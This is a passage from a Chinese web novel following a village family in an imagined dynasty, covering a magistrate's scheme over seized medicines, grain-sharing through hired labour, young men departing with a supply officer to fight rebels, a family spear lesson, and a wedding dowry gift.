岚县知县当然不会私吞,他扣下杜有才的货是为了试探。 师爷知道他为了给平叛大军送行的事烦心,就给他出了个主意。 前几日顾大将军那边传来消息,平叛大军已经集结完毕,不日即将开拔,他便发了愁。 按理说,他作为一方父母官,朝廷的平叛大军途径岚县时他应该有所表示。 可岚县穷困,之前为了接收难民已经掏空了家底,他现下捉襟见肘实在拿不出财物来。 师爷说杜有才这批货来路不正,按朝廷律例他们应该扣押。 在药材如此紧缺的时候,若是被人知道杜有才这么明目张胆的从岚县弄走一大批药材,他这个知县只怕也会造人诟病。 但杜有才毕竟跟知府大人是亲戚,他们也不好做的太过,就让守门的把药材扣下,看看知府衙门那边的态度如何。 要是知府大人不满,就把药材如数奉还,赔礼道歉,说下面人自作主张,知县大人毫不知情。 要是大人不管,那就把药材送给平叛大军。 不花一文钱,就把事办了,还能试探一下知府大人对杜有才的态度,一举两得,何乐而不为呢? 师爷还说了,即便知府大人真的追究下来,也能把事情推到徐捕头的儿子头上。 知府大人是体面人,肯定不想被人知道自己的连襟刚成亲没几天,就跑到岚县花天酒地,为了抢一个娼妓,跟当地纨绔子弟大打出手,闹的不可开交吧。 至于徐家那个小六会如何,那他们就管不着了,事儿是他惹出来的,自然该由他来背锅。 还不知道自己可能要背上一口大黑锅,甚至会因此得罪知府大人的徐六,一回到书院,就被众人团团围住。 大家七嘴八舌问东问西,吵的徐六晕头转向,什么也听不清,急的直喊, “停停停,你们一个个来,别一起嚷嚷。 我就一双耳朵,听谁的啊?” 凌十三仗着身高马大胳膊长,硬生生挤到最前面,关切询问, “兄弟,你还好吧?没闹出什么乱子吧?” 徐六下巴高高抬起,得意洋洋道, “放心吧,我好得很,把那个鳖孙打了个满脸开花,他闹到衙门,大人还把他骂了一顿,罚了他五两银子呢。” 凌十三高兴坏了,拍着徐六肩膀连声赞叹, “兄弟,你可太行了,真有你的,小弟佩服,佩服啊!” “小意思,小意思啦,小爷我眼里揉不得沙子,就见不得他这种奸商。” 徐六乐的合不拢嘴,还要谦虚几句。 众人越发好奇,追着询问事情经过。 徐六只字不提自己去春香院,只说得知有人低价买入大批药材,使得医馆里都没便宜药材卖,百姓们都治不起病。 他路见不平,冲入客栈痛打奸商,在公堂之上当众揭发那个奸商私自倒卖药材的事。 知县大人明察秋毫,大快人心,还称赞他一心为民,侠肝义胆。 众人对视一眼,都知道这话里水分很大,但还是十分给面子,顺着徐六的话对他大夸特夸了一番。 连无意中路过的杜衡,都忍不住夸赞了徐六一句。 把徐六高兴的差点没飘起来,恍惚间都以为自己是真的只是路见不平惩治奸商了。 什么小桃红,什么争风吃醋,他才没有呢。 他是那么肤浅,只知道盯着女人的人吗? 等到人群散去,四下再无外人,凌十三才捧着肚子笑的前仰后合,抹着笑出来的眼泪冲杜衡道, “徐六被你夸的找不着边儿了,还跟我说以后要继续行侠仗义,不去春香院找小桃红了。 还说欢场女子不讲义气,再跟她混一块儿,别人都把他也给看轻了。 笑死我了,他还真把自己当游侠儿了,他这辈子也想不到他做的这些,都是你跟你嫂嫂一手设计——” 话没说完,小腿就挨了杜衡一脚。 杜衡迅速看了眼四周,压低声音冲凌十三吼, “管好你那张破嘴,别什么话都往外秃噜。 我们可什么都没做,一切都是他自愿的。 他要是因此改邪归正,一辈子行侠仗义,那也是他的福报。” 凌十三讪讪闭上了嘴,琢磨了下杜衡的话,忍不住揉着胳膊嘀咕道, “我突然觉得你们有点可怕,要是有一天,你俩合起伙来算计我,我岂不是被卖了还帮你们数钱啊?” 杜衡白了凌十三一眼,无语道, “你有什么值得我们算计的? 就你这样的,白送我们都不要。” 凌十三愣了愣,哈哈笑了起来, “这倒也是,看来你对我是真心的,明知道我没啥本事,也愿意跟我结交,完全是看上我这个人了吧? 我就说嘛,像我这么重情义的兄弟不好找,你遇上我,算是遇到宝了。” 说着,就要伸手揽杜衡肩膀。 杜衡被恶心的够呛,十分嫌弃拍掉凌十三的手,忍不住抖了抖身上的鸡皮疙瘩,扔下他大步流星朝前走。 凌十三嘻嘻哈哈笑着追了上去, “走那么快干嘛,等等我啊,晚上一起吃饭呗,把嫂嫂给你装的银鱼干带上点,那个配粥好吃的很.......” 石楼村,高娇娇他们从城里买了三千斤粮食回来,把村里人都吓坏了。 从昨晚到今天一直都有人跑来问,是不是要打仗了,是不是又要闹饥荒,是不是城里要断粮了....... 高长天被烦的不行,干脆趁着早上大家都在地里忙活,当众解释道, “我们买粮食主要是因为家里人多牲口多,绣坊还要管饭,需要的粮食多。 粮价没上涨,顾大将军不许粮商故意抬高粮价,并州府那边刚抓了几个倒卖粮食的奸商,都被砍了脑袋。 咱们这边没打仗,也没闹饥荒,平叛大军已经集结好了,快要出发去平叛了,要不了多久就天下太平了。 现在咱们这边粮铺的粮食,都是从南方用船运过来的,南方粮食多得很,咱们这边不会断粮的。 大家别瞎担心了,都把心放回肚子里,好好干活去吧。” 众人这才放下心来,继续干活。 高娇娇带着杜映梅,站在地头,看着雇来的帮工除草,把锄下来的草堆放在一起,等会儿拉回去喂牲口。 地里的荞麦和莜麦长势良好,番麦播种第二天雇人浇了一次水后,已经有了发芽的迹象。 但比庄稼长的更好的是杂草,三十多亩地光指望她们两个,累死也收拾不了,只能雇人。 两村合并后,雇人比之前更方便了。 十文工钱一斤粮食,就能雇个人在地里从早干到晚。三十多亩地雇五个人,要不了两天就能锄一遍草。 高长天对外说买粮是自家用,其实是跟罗子、李二等几家平分。 这是他们进城之前就商量好的,既然两村合并了,那肯定不能他们吃香喝辣,让双水村的人顿顿糠咽菜。 更不能把自家的粮食白白送给他们,俗话说的好,救急不救穷,斗米恩升米仇,合并是为了吸纳人口,发展壮大,不是为了自找麻烦。 高长天和朱钰等人商量了一番,决定还是以雇工的方式帮助双水村的人。 第二百五十三章 大宝回来了 高长天和几个巡逻队的队长,自行出资购买一些粮食,尽量多的雇人做工,让新加入的村民有活干能赚到钱。 帮助他们渡过这个青黄不接的时节,让他们的日子能好过一点。 不过高长天也不会让队长们吃亏,他承诺等到了秋冬时节,会组织人手进山打猎。 打猎收益只抽出一成放入公中,剩下的都归个人所有。 罗子等人自然没意见,山里物产丰富猎物充足,高长天带着他们肯定能打到不少猎物。 运气好打到大猎物,可比种地赚的多得多。 于是,石楼村便形成了现在的格局,家境富裕的人家都学着高长天他们雇人干活。 把自家的人手空闲出来,去搞作坊,养鸡养羊,种菜种果树。 家境贫苦的靠做工,帮人干活赚取工钱和粮食,改善家里的生活。 哪怕是女人老人甚至半大孩子,也可以帮人洗衣做饭,去工坊干活赚钱补贴家用。 总之,无论男女老少在石楼村都能找到活干,都能吃上饭。 连高小寒和高冬月这种年纪太小,无法练功读书的,也有事干了。 姚春香她们从桥下村买了一百多只小鸡回来,高娇娇家分到了十只。 她让高二壮帮着编了个大大的鸡笼,把小鸡先养在了杜衡那屋。 打算等过几天,小鸡适应了,气温也稳定了,再在院子里盖个鸡棚,把小鸡放进去养。 高小寒和高冬月每天吃了饭就去看小鸡,帮着喂鸡铲鸡粪,跑来跑去忙的不亦乐乎。 高娇娇等稻谷种下,把作坊的事忙完,就准备动身去孟门关。 上次做粉皮的时候就商量着去边关看看高大宝他们,结果这事那事一耽搁,就耽搁到了现在还没去。 高娇娇想着趁着现在医馆还没正式开张,铁匠坊什么的正在建,地里的活儿也不太忙,赶紧去孟门关一趟。 看看大宝他们,顺便打听一下乔大凤的情况。 她本来是想着把乔大凤送走,不让她回来影响二哥他们,没想到机缘巧合之下,乔大凤又被送到了边关,还要配婚给退下来的伤残老兵。 这跟送到大宝跟前有什么区别? 高娇娇知道大宝一直记挂着他娘,也不是非要拦着不让他们母子相见,但前提是乔大凤得安分守己,别给大宝惹麻烦。 更不能拿着血缘亲情绑架大宝,让大宝给她养老送终什么的。 人总要为自己的选择付出代价,当初乔大凤不顾丈夫儿女的死活,一心只想着她的娘家人。 现在就别想坐享其成,等着儿女有出息了孝敬。 可还没等高娇娇起身,高大宝几个就先回来了。 当时高娇娇还在河边忙活,距离上次下暴雨已经过去十来天了,每天都是大晴天,晒的地里的土都快冒烟了。 庄稼正是出芽抽条的关键时候,天要是再不下雨,就得浇水了。 高娇娇实在受不了从河边挑水去地里浇,费时费力还慢的很,连她这种地就在河边的都受不了,在高处的更难弄。 于是,高娇娇就找到了朱钰,让他帮忙想想办法。 朱钰一脸无语道, “我只是略懂易经,会观天象,又不会呼风唤雨。 老天爷不帮忙,我能怎么办?” 高娇娇指了指坡顶的蓄水池,朱钰摆手, “那个还不能用,堤坝还没加固好,上次下暴雨的水没存住都流走了。” 高娇娇想了想,揉着下巴提议道, “那,要不,在河边做个水车? 把河水引到沟渠中,这样起码河边这些地不用挑水灌溉了。” 朱钰嘴角抽了抽,忍不住想探出手摸高娇娇脑门。 高娇娇急忙躲开,说话就说话,动手动脚干啥? 她都四天没洗头了,头发油着呢。 摸不到脑门,朱钰单方面认为高娇娇昏了头,脑子不清醒, “你啊你,真是想一出是一出,水车是那么好弄的? 你真以为随便找个木匠弄几块木板,搞个轮子会转就行了? 想要灌溉这么多田地的水车,起码得丈把高,从准备木料,漆和胶,到定型完工,少则半年多则一年。 且不提花费巨大,即便你掏光家底费了老大劲儿做好了,能用的也就只有河边这点地,有必要吗? 水车是能把水从低处弄到高处,却不能弄到几十丈高的梯田上,咱们这地,除了靠人力灌溉,别无他法。” 高娇娇叹了口气,原来纸上谈兵是真不行啊。 种地只能靠人力,真是太难了。 正郁闷着,忽然听到有人大喊, “大宝回来了!大宝他们回来了!” 高娇娇急忙回头,就见今日负责带队巡逻的石小山,站在村口大喊,还指着官道那头让他们看。 高娇娇赶紧往上跑,站在李二家的地头往官道那头一看,几个人骑着快马正朝他们这里奔来。 再一数,一二三四五,六,怎么还多了一个? 不管了,孩子可算是回来了,高兴还来不及呢。 高娇娇一溜烟跑回去喊姚春香,姚春香正在烧水准备拌些麦麸喂小羊羔。 她从桥下村买了两头羊,她家一头,高娇娇家一头,暂时都放在她家养着,等养大一些再给高娇娇。 小羊羔才刚满月,不能光吃草,得吃点粮食才能长得好。 正经米面姚春香可舍不得拿来喂牲口,就把之前磨面剩下的麦麸拿热水烫熟,再稍微放一点点盐喂给小羊羔。 见高娇娇突然跑回来,姚春香放下已经掀开的锅盖,忙问, “咋了?你跑这么快干啥?出啥事了?” “娘,大宝他们回来了!” 高娇娇扶着门框,喘着气道。 姚春香愣了下,高兴坏了,慌的不行,拿起锅铲又放下,想去解围裙又想去和面,又觉得该去村口迎一迎。 这一走就快两个月了,大宝从生下来就没离开她这么久过,她还真是想的很。 见姚春香忙的乱七八糟,高娇娇好笑不已,直接对她道, “我去村口接大宝他们,你把罗婶子她们叫来,多做点好吃的,大家一起热闹热闹,给他们接风洗尘。” “好好好,我这就去拿肉,上车饺子下车面,大宝喜欢我做的手擀面,你罗婶子臊子炒的好,让她来炒........” 姚春香絮絮叨叨说着,跑出去喊罗子娘她们。 高娇娇也喊来二宝几个,一起去村口迎接大宝他们。 哪知刚走过桥,就听到高大宝扯着嗓子喊, “姑姑,姑姑,我回来了!” 高娇娇脚下一顿,难以置信地瞪大了眼睛。 她刚穿过来,第一次回娘家的时候,大宝也是这么喊她的。 跟个布谷鸟一样,“姑姑,姑姑”叫个没完,可那时候孩子的声音清脆响亮,虽然吵,但好听啊。 现在这个粗壮嗓门,还沙哑的跟砂纸打磨过似的声音,是谁发出来的? 一转眼,人便到了跟前。 高大宝翻身下马,一把把缰绳扔给同伴,冲过来抱住了高娇娇,笑着嚷道, “姑姑,姑姑,你想我没? 我不在家是不是没人给你当跟班了? 你是不是特别孤单,特别不适应?” 高娇娇看着眼前肩宽体阔身形高大,一把就能把她整个人抱起来轮半圈,已经有了成年男子压迫感的高大宝,险些惊掉下巴。 这才几天没见啊,她那个没心没肺的黑壮侄子,怎么就像是一下子长大了好几岁,跟变了个人似的? 最主要是,这公鸭嗓,可真难听啊。 第二百五十四章 要去平叛 “一回来就缠着你姑姑,都不知道先来见见你爷和你朱爷爷他们,都多大了还这么不懂礼数。” 高二壮走过来,嗔怪道。 高大宝这才松开高娇娇,跑过去扑通跪下就给高长天和朱钰磕头,把朱钰吓了一跳,笑着骂道, “滚,还不到过年的时候呢,别想讹我压岁钱。” 说着,还作势要踹高大宝。 高大宝笑嘻嘻爬起来,张嘴就坑爹, “朱爷爷莫怪,都是我爹让我行礼,我想着难得回来一趟,得行个大礼才行。” 朱钰用手指点着高大宝笑骂道, “你小子才出去几天,就学的油嘴滑舌。” “哪有,哪有,都是您老教的好。” 高大宝不仅不觉得不好意思,还反手给朱钰扣个高帽,气的朱钰踹了他一脚,逗得众人哈哈大笑。 在众人的簇拥下,高大宝等人回了家。 姚春香和罗子娘等人见到孩子,不免又是一番激动感慨,都忘了回来的不光有高大宝五人,还有一个看着就气势十足的壮汉。 好在还有高长天和朱钰,打哈哈骂几句老娘们就是爱流猫尿,就把姚春香她们的失礼给含糊过去了。 等把客人迎进屋,倒上茶,摆上点心果子,众人这才正儿八经互相认识了一番。 高娇娇得知这个壮汉不仅是高大宝他们进入军营后,负责训练他们的教头,也是这次要跟随平叛大军一起开拔,负责运送粮草的押运官,不由心里一咯噔。 果不其然,高大宝他们之所以突然回来探亲,是因为他们要跟随这位刘武校尉,一起奔赴豫州平叛。 听到高大宝几个要去打仗,众人本来喜气洋洋的脸一下子都僵住了,端着刚热好的糕点进来的李二娘,更是吓的差点把盘子扔了。 高娇娇眼疾手快,急忙接住盘子。 见李二娘张嘴就要哭,高娇娇赶紧掐了她的手一下,用眼神示意她先别哭,抢先表态道, “暴民作乱,残害百姓,朝廷派兵平叛是天大的好事。 大宝他们能得大人看重,亲自带去豫州,是我们莫大的荣幸。” 朱钰立刻接话道, “大人如此看重这帮小子,愿意亲自带着他们去豫州走这一趟,我们真是感激不尽,感动万分。” 说着就起身,冲刘武深深一揖。 刘武见他们这般明事理,很是高兴,忙扶住朱钰,连声道, “先生折煞我了,实不相瞒,我来的路上还心里直打鼓,生怕你们舍不得孩子,担心你们会抱怨将军这一安排。 没想到你们如此深明大义,难怪将军对你们赞不绝口,在我们面前时常提起你们呢。” 高长天也冷静了下来,忙笑着谦虚了几句,顺势打听起平叛的安排来。 刘武特意过来不光是为了安抚家属情绪,更重要的是想跟高长天他们打听一下豫州的情况。 毕竟他们可是从跟豫州打交界的地方一路逃荒过来的,还跟暴民交过手,算是比较了解暴民情况的人了。 押运官负责粮草运送,越熟悉地形路况,规划路线就越周全。 这是他等了十年才等到的升迁机遇,他势必要做好充分准备,马到功成,一飞冲天才行。 高娇娇静静坐在旁边听着,留意到刘武眼中想要极力隐藏,却因为太过迫切而掩饰不住的野心,心情不由很是微妙。 领头人有野心有冲劲,想去战场上大展身手建功立业是好事,说明他有信心能打胜仗。 押运粮草的队伍作为后勤人员,不会直接跟敌人对上,想来应该不会太危险。 可大宝他们是新兵,才训练了一个多月,可能连战场是怎么回事都没搞清,就要真刀真枪跟暴民对上了。 高娇娇这心里,实在是没底的慌。 但她又很清楚,这对于高大宝他们是千载难逢的好机会。 朝廷只要一心想要平叛,只要粮草补给能跟上,平叛大军消灭暴民,平息动乱是早晚的事。 打了胜仗,论功行赏,大宝他们哪怕没什么出色表现,只要规规矩矩完成任务,就能得到嘉奖。 这可比在关隘跟蛮夷厮杀容易得多,可以说是送到手里的军功,错过可没下回了。 高将军想来也是很看好大宝他们,才会给他们这个表现的机会,说不定对他们回来后的安排已经有了计划,只等着他们立下军功了。 可理智是理智,感情上,高娇娇还是免不了担心。 但她清楚姚春香她们比她更担心,所以听了个大概,就去了厨房。 厨房内,姚春香等人脸上再也没了初见孩子们回来时的喜悦,一个个眉头紧锁脸色沉重,默默做着饭菜,谁也不说话。 高娇娇看到罗子娘有些泛红的眼皮,看到李二娘趁着扭头拿柴火,偷偷擦了下眼角,不由鼻头泛酸。 儿行千里母担忧,孩子们突然就要上战场了,当娘的心里难免难受。 “罗婶儿,还是让我来吧,这肉再让你这么剁下去都成肉泥了。 难道咱今儿不是吃臊子面,改吃肉丸汤了?” 高娇娇笑着打趣了句,上前接过罗子娘手里的菜刀,一边把剁好的肉铲到大碗里,一边慢慢跟她们说着这其中的利害关系。 等把案板上的配菜切完,高娇娇也说完了。 姚春香等人的情绪也渐渐平复了下来,虽然依然担心不舍,但总算是能忍住了。 好男儿志在四方,她们不能为了安全就把孩子捆在身边。 更何况就像娇娇说的那样,一路上遇到过那么多危险的情况,他们都闯过来了。 没道理现在只是跟着去运送一下粮食,就吓破了胆子,这也不敢那也不敢。 大宝几个又不是怂包软蛋,也是杀过流民土匪,见过血的,真遇到危险,不说杀多少敌人,自保应该还是没问题的。 想开了,心不那么揪着了,姚春香几个又恢复了往日的爽朗。 一边商量着要给孩子们准备的东西,一边加快了手上的动作。 孩子们既然要去平叛,在家里肯定待不了多久,趁着现在,把好吃的都做出来,让孩子们吃得饱饱的,养足力气去战场上好好表现。 四个凉菜六个热菜,还有一甜一咸两个汤,同样的菜色满满当当摆了两桌席面。 高长天还搬出了一坛好酒,给刘武倒了满满一酒碗。 刘武好酒,闻到这诱人的酒味儿不由馋虫大动,拿起酒碗就一口干。 喝完,抹了下嘴角赞叹道, “好酒,好酒啊,这酒是从哪里买的?我以前竟从没喝过这种酒。” 高长天嘿嘿笑着,老实道, “实不相瞒,这是我们逃荒路上,从土匪窝里弄来的。” 刘武微微一怔,哈哈大笑起来, “难怪这般烈,喝着真带劲。” “大人若是喜欢,我家还有一坛,走的时候您带上。” “那可不行,咱们军中有规矩,不许随便拿百姓的东西。” “大人这是看不起我们?嫌我们庄户人家的东西粗鄙?” “不不不——” “那您就收下,千万别跟我们客气,您是我们孩子的教头,那就是师父,孩子孝敬您是应该的。” 高长天扭头就冲坐在地下那桌,离门口最近的高三壮喊, “老三,去菜窖把那坛跟这个一样的酒搬过来,对了,再去杨大夫那儿要一壶药酒,一并拿来。” 说完,还跟刘武解释道, “杨大夫是我们村的老大夫,擅长正骨,他泡的药酒对风湿骨痛很有效。 你们常年练兵打仗,身上免不了有旧伤,喝点这个药酒养一养,省的冬天疼起来难受。” 刘武算是服了这个老爷子了,这番话说的他鼻头都有点酸。 就算是他亲爹在世的时候,也没这么疼过他。 第二百五十五章 送行 端起酒碗,刘武主动敬高长天, “叔,啥都不说了,一切都在酒里了。” 听到刘武换了称呼,朱钰不由翘起了唇角,他大哥出手,就没有拿不下的人。 一顿饭吃的宾主尽欢,尤其是最后那碗肉臊子面,更是吃的刘武鼻尖冒汗。 一个劲儿嚷嚷吃的舒坦,像他老娘做的饭。 让本来不打算留宿的他,忍不住留下住了一晚。 这一晚,呼呼大睡的只有刘武,其他人都没怎么睡。 姚春香和罗子娘几个忙着给孩子们准备行李,在她们看来打仗跟逃荒没两样,都是吃不好睡不好整天赶路。 所以吃的得多带些,尤其是耐存放的肉干、咸菜必不可少。 换洗衣服也得带一些,还得在衣服里缝两个内袋,方便藏东西。 走路费鞋,得多带两双鞋,考虑到天热了捂脚,草鞋也要带几双。 还有药,下火的,防风寒的,防中暑的,治跌打损伤的....... 零零碎碎越收拾越多,看的高长天头都大了,一个劲儿提醒她们这是去打仗,不是去逃荒。 不能带这么多东西,只能挑着紧要的带一点。 朱钰把高大宝几个叫到跟前,细细叮嘱了一番。 出去办差,尤其是跟在上官左右,最重要的不是要机灵勤快,而是要忠心。 千万不要为了表现抖机灵,尽职尽责办好上头交代的事就行了,少说少问少打听,多看多学多留心。 人跟人站的位置不一样,看待问题处理事情的角度就不一样,千万别自作聪明。 高大宝五人在军中历练了这些天,跟在村里时已经大不一样。 知道先生都是为了他们好,哪怕对于他的有些说法不是很懂,甚至有点不赞成,也都点头应下,认真记在心里。 从朱钰房间出来,高娇娇带着高大宝几个去了郭双燕家。 吃过饭收拾碗筷的时候,郭双燕过来帮忙,悄悄跟姚春香说了一番话,想把家传枪法教给大宝他们。 姚春香本能就要拒绝,这套枪法双燕连自己女婿都没教,怎好教给他们? 郭双燕却说自己已经想清楚了,一味守着家传绝学不能保全自己,只有村子发展壮大了,他们一家才能过上安稳日子。 还说姚春香都不藏私把家传武学传授给了众人,她又有什么好藏着掖着的。 她家的枪法本就是祖上从骑马对战中得来的,眼下大宝他们就要上战场了,学了这套枪法,兴许能用上。 姚春香知道郭家枪法的厉害,为了大宝他们,最终还是厚着脸皮接受了郭双燕的好意,让高娇娇晚上带大宝他们过去。 高大宝几人都练过拳法,又在军中严加训练了这么多天,有底子,会骑马,学起枪法就容易得多。 他们学,高娇娇也在旁边跟着学,没有木棍,就随手捡起扫帚比划。 结果把郭双燕给惊着了,连声赞叹道, “娇娇,你可真是学武的好材料,难怪你娘都说你悟性高。 你刚才那两下,真是抓住了回马枪的精髓。” 说着,郭双燕就挥舞长枪,冲高大宝几个讲解道, “世人都以为回马枪讲究的是快,其实不然。 马上回头,突然袭击,才是回马枪的正确用法。 讲究的是一个猝不及防,发力位置不是你的手腕臂膀,而是你的腰腹。 借着身体回转,腰腹用力,顺着身体回转的力量快速向前刺出,让攻击集中于一点上。 瞬间刺破对手盔甲,直击命门,才是回马枪的精髓。” 高娇娇见郭双燕一个腾挪飞转,身形斜飞,枪如闪电疾射而出,深深刺入石墙之中,不由拍手叫好。 这招若无十年八年苦练,绝做不到如此迅猛凌厉。 高大宝等人也是看的热血沸腾,少年人意气风发,谁还没个驰骋疆场痛快杀敌的英雄梦啊。 但等招式好不容易学完,高娇娇拿着扫把跟他们一通对打,把他们打的落花流水鬼哭狼嚎后,他们刚刚疯长起来的雄心壮志,就变成了只要活着就好。 高娇娇板起脸严肃道, “你们五个切记,命只有一条,死了可就什么都没有了。 战场上瞬息万变,危机重重,你们千万别逞强,别不管不顾一味冲杀。 打不过就跑,跑不了就装死,实在不行就躲在死人堆里,只要能活,就千万别去找死。 家里虽希望你们建功立业出人头地,但更希望你们能平安回来,记住没?” 高大宝几人使劲点头,他们连高娇娇都打不过,哪儿还敢跟人拼命啊。 郭双燕小声提醒高娇娇, “战场上当逃兵被逮住可是要被杀头的。” 高娇娇理直气也壮, “那就别被逮到,装的像一点嘛。 战场上那么多人,还能没个倒霉鬼,不小心跑迷路了,掉沟里了,磕到头晕死过去了? 只要你咬死了不承认,谁有证据能证明你是逃兵?” 高大宝几人面面相觑,将军和校尉都不是这么教的啊,可高娇娇的话好像也有道理。 那他们就见机行事吧,该拼命的时候拼命,能自保的时候自保。 这一晚,五家人的灯都亮了一整晚。 次日天刚亮,姚春香和罗子娘几人就又在厨房里忙碌了起来。 刘武是被肉香勾醒的,他眼睛都没睁开,就忍不住嗅了又嗅。 这大清早的,哪儿来的这么香的肉味? 等起了床,看到桌上摆的早饭,刘武愣住了。 小鸡炖蘑菇、猪肉炖粉条、葱花烙饼、烤野兔、红烧鱼,还有一大盘黄灿灿的炒鸡蛋,和看着就好吃的小葱拌豆腐。 还有熬的黏糊糊的小米粥,和暄软的大白馒头。 刘武忍不住咽了口口水,这早饭未免也太丰盛了吧。 姚春香几个还不停从厨房往外端好吃的,刚煮好的鸡蛋,刚炸好的小鱼,刚蒸好的槐花饭....... 连高大宝都忍不住喊, “奶,别弄了,太多了吃不了。” “吃不了就带上,路上吃。” 姚春香说着,又端出来一碗刚腌好的野葱头,笑着招呼刘武道, “您多吃点,别客气,都是些乡下饭菜,您别嫌弃啊。” “不嫌弃,这么好的饭菜,怎么会嫌弃。” 刘武连连摆手,觉得石楼村的人真是太实诚了,怕是把家里的好东西都拿出来了吧。 高大宝一点也不觉得饿,但还是把家里人夹过来的菜都吃了,一口接一口,用食物压下了离别的伤感。 罗保全几人也是一样,哪怕饭都顶到嗓子眼了,也依旧吃的很香甜。 可不管再怎么吃,一顿饭还是吃完了。 高大宝背着一个大包袱,艰难地爬上了马。 刘武看着高长天硬塞到自己手里的大包袱,有点不好意思拿。 可高长天根本不容他拒绝,强势道, “没啥值钱的东西,就是些吃的,你们带着路上吃,要不了两天就吃完了,不占地方的。” 刘武只得收下,有些费力的拖着大包袱上了马。 高长天带着众人送他们出门,村里其他人看到也跟着一起送行。 这一送,就送到了村口,刘武抱拳冲众人道, “各位叔伯婶子,就送到这儿吧,孩子交给我你们只管放心,我会好好照顾他们的。” “那就烦劳你多费心了,路上小心,平安回来。” 高长天拱手回了一礼,刘武一夹马腹,带着高大宝几人飞驰而去。 直到几人的背影消失在官道上,再也看不到了,高娇娇等人才收回视线,慢慢往家走去。 姚春香有些怅然叹息, “这一去,也不知道啥时候才能回来。” 罗子娘本就泛红的眼眶,一下子就湿润了。 李二娘抿着唇,有些想哭。 第二百五十六章 添妆 吴亮娘忍不住吸了吸鼻子,高娇娇见大家都很难过,忙安慰道, “等平定了叛乱,收拾了暴民,他们就回来了。 到时候立了功说不定还能封个官当当,你们这些当娘的,就等着享福吧。” 朱钰也跟着打趣道, “他们几个要真当了官,年少有为,又没婚配,说不定会被大户人家看中,非要他们当乘龙快婿呢。” 李二娘顿时慌了,紧张道, “哎呀,那可咋办?我这种粗人跟大户人家的小姐可处不来。” 众人哈哈大笑起来,刘小翠心直口快,直接道, “李婶儿,你想啥呢?你家又没人去参军,你难不成还想让你儿再娶个大户人家的小姐回来?” 李二娘一拍大腿,也哈哈笑了起来, “我光顾着跟着她们愁了,都忘了那里头没我家的娃。” 众人又是一阵大笑,就着娶媳妇的事聊了起来。 村里像高大宝他们这个年岁的小子还有好几个呢,也到了该说亲的年纪了。 高家的高秋花、高秋菊还有高春雨,都到了能说亲的年岁了。 高家条件好,姑娘们长得也好,还个个有本事,娶回去旺全家。 于是,家里有小子的人家就自动往姚春香几人的身边凑,这个打听高春雨,那个询问高秋花。 连急着回绣坊走在最前头的林巧儿,身后都追上来几个人,想要跟她打听打听高秋菊的情况。 自然也有人想到了高娇娇,可扭头一看,高娇娇走在高长天和朱钰中间,三人正说着什么。 那一脸严肃认真的样子,不知道的看了,还以为她才是石楼村的里正,高长天和朱钰都是辅佐她来着。 众人心中不免有些异样,试探的话到了嘴边又咽了回去。 算了,高攀不起啊。 高娇娇跟高长天和朱钰说的是建房买砖的事,之前朱钰买房要用的砖,是从老工匠介绍的砖窑里买的。 砖是好砖,就是太贵。 而且离得远,运送不方便。 接下来好几个工坊建造,需要用到大量的砖,要是还跟之前一样等着砖窑送过来,太费事。 最好还是找个近一点,或者运送方便的砖窑,一次把所有砖瓦都拉过来,这样一动工很快就能盖好。 至于盖房需要用到的木料,高长天早在朱钰打算建房子时,就让人进山砍好了。 已经在原地放置了一个来月,差不多也阴干了,拉回来就能用。 这种力气活,自然少不了高娇娇,正好她也想再砍些小一点的树,用来搭建鸡棚。 三人说好,又叫来几个队长商量了一番,决定让高三壮负责找砖窑,高二壮负责进山运送木材。 剩下的人继续种地挖渠修路,村里的路修的差不多了,但是从石楼村通往双水村的路还没开始修。 除了修路,还要修房子,双水村的房子很多都年久失修了,需要翻新加固。 等安排好接下来要干的事,朱钰对着账本,扒拉着算盘珠子越算越发愁。 要干的事这么多,银子却只有这么点,真是哪儿哪儿都不够。 银子上的事高娇娇帮不上忙,她的银子也不多了,给高春花买陪嫁的首饰,又花了她二三十两。 再这么只出不进,她也愁。 西屋炕上,高春花一边纳鞋底,一边偷瞄张狗子。 今早狗子哥坚持要去给大宝他们送行,送完回来后就一直默不作声,看不出心里在想什么,没什么表情。 穿完最后一针,看着厚实细密的鞋底,高春花满意地放下了针线。 鞋底做好,再把鞋帮缝上去,滚个边,她给狗子哥亲手做的第一双鞋就做好了。 想到手里还有点别的颜色的布头,高春花忙扭头问张狗子, “狗子哥,鞋帮的滚边你是喜欢白的,还是蓝的。 我给你做的这双鞋面是深蓝色缎面的,我觉得用浅蓝色的布滚边,兴许比白色的好看,你说呢?” 张狗子依旧盯着房顶,目光沉沉,一动不动。 高春花有点失落,暗叹了口气,小声问道, “狗子哥,你是不是也想跟大宝他们去打仗啊? 你这么聪明能干,要是上了战场,指定能立功,说不定还能混个校尉当当。” 张狗子眨了下眼睛,微微摇头道, “行军打仗我可比不过大宝,他从小习武,箭法又好,身子骨也比我强壮。” “可你比他聪明啊,他就是个傻小子,整天就知道吃喝玩乐,跟在姑姑后头当跟屁虫。” 高春花立刻道,她可不觉得大宝会比她狗子哥厉害。 她狗子哥可是侯府的世子爷,出身尊贵的很。 张狗子不赞成高春花的说法, “尺有所短寸有所长,大宝在这方面确实比我强,我也从没觉过他傻。 你姑姑也不是谁都愿意带着的,她愿意带着大宝,就说明大宝有过人之处。” 高春花心里有点堵,哪怕她现在已经不纠结狗子哥是不是喜欢姑姑,也知道姑姑肯定没那个心思,依然受不了狗子哥这么看重姑姑。 她甚至想问问他,是不是在他心里,就没人能比得上姑姑? 可她又怕问出口,他承认了,她要怎么收场。 高娇娇走到门口,听到高春花的心声,都有点不想进去了。 高春花这小心眼的毛病,可真是随了刘小翠。 明明有系统这个外挂,不去寻宝,整天围着张狗子转,只知道做鞋做衣服,真是暴殄天物。 默念三遍“我是长辈,不跟小辈一般计较”,高娇娇脸上挂上一抹笑,挑开帘子走了进去。 见高娇娇过来,心里正抱怨的高春花不由有点慌,赶忙起身招呼,热情客气的张狗子看着都有点别扭。 高娇娇也觉得别扭,摆了摆手制止高春花要去泡茶的举动,将怀里的檀木盒子拿了出来。 “这是我给你的添妆,你收着吧。” 高春花愣愣接过盒子,愣愣道谢,愣愣看着高娇娇询问了狗子哥几句身体恢复情况,便转身走了。 张狗子见高春花还是直愣愣盯着高娇娇离开的门口,不解喊道, “春花?” 高春花猛地眨了几下眼睛,收回了视线,打开了盒子。 里面是一支金镶玉蝴蝶发簪,一对金珠吊坠耳环,和一个金镂空嵌白玉的戒指。 个个精巧好看,分量十足。 肯定要花不少钱,比起她娘给准备的梅花银簪和银手镯陪嫁,不知好了多少。 高春花不由红了眼眶,姑姑对她真的挺好的,她不该那么想姑姑的。 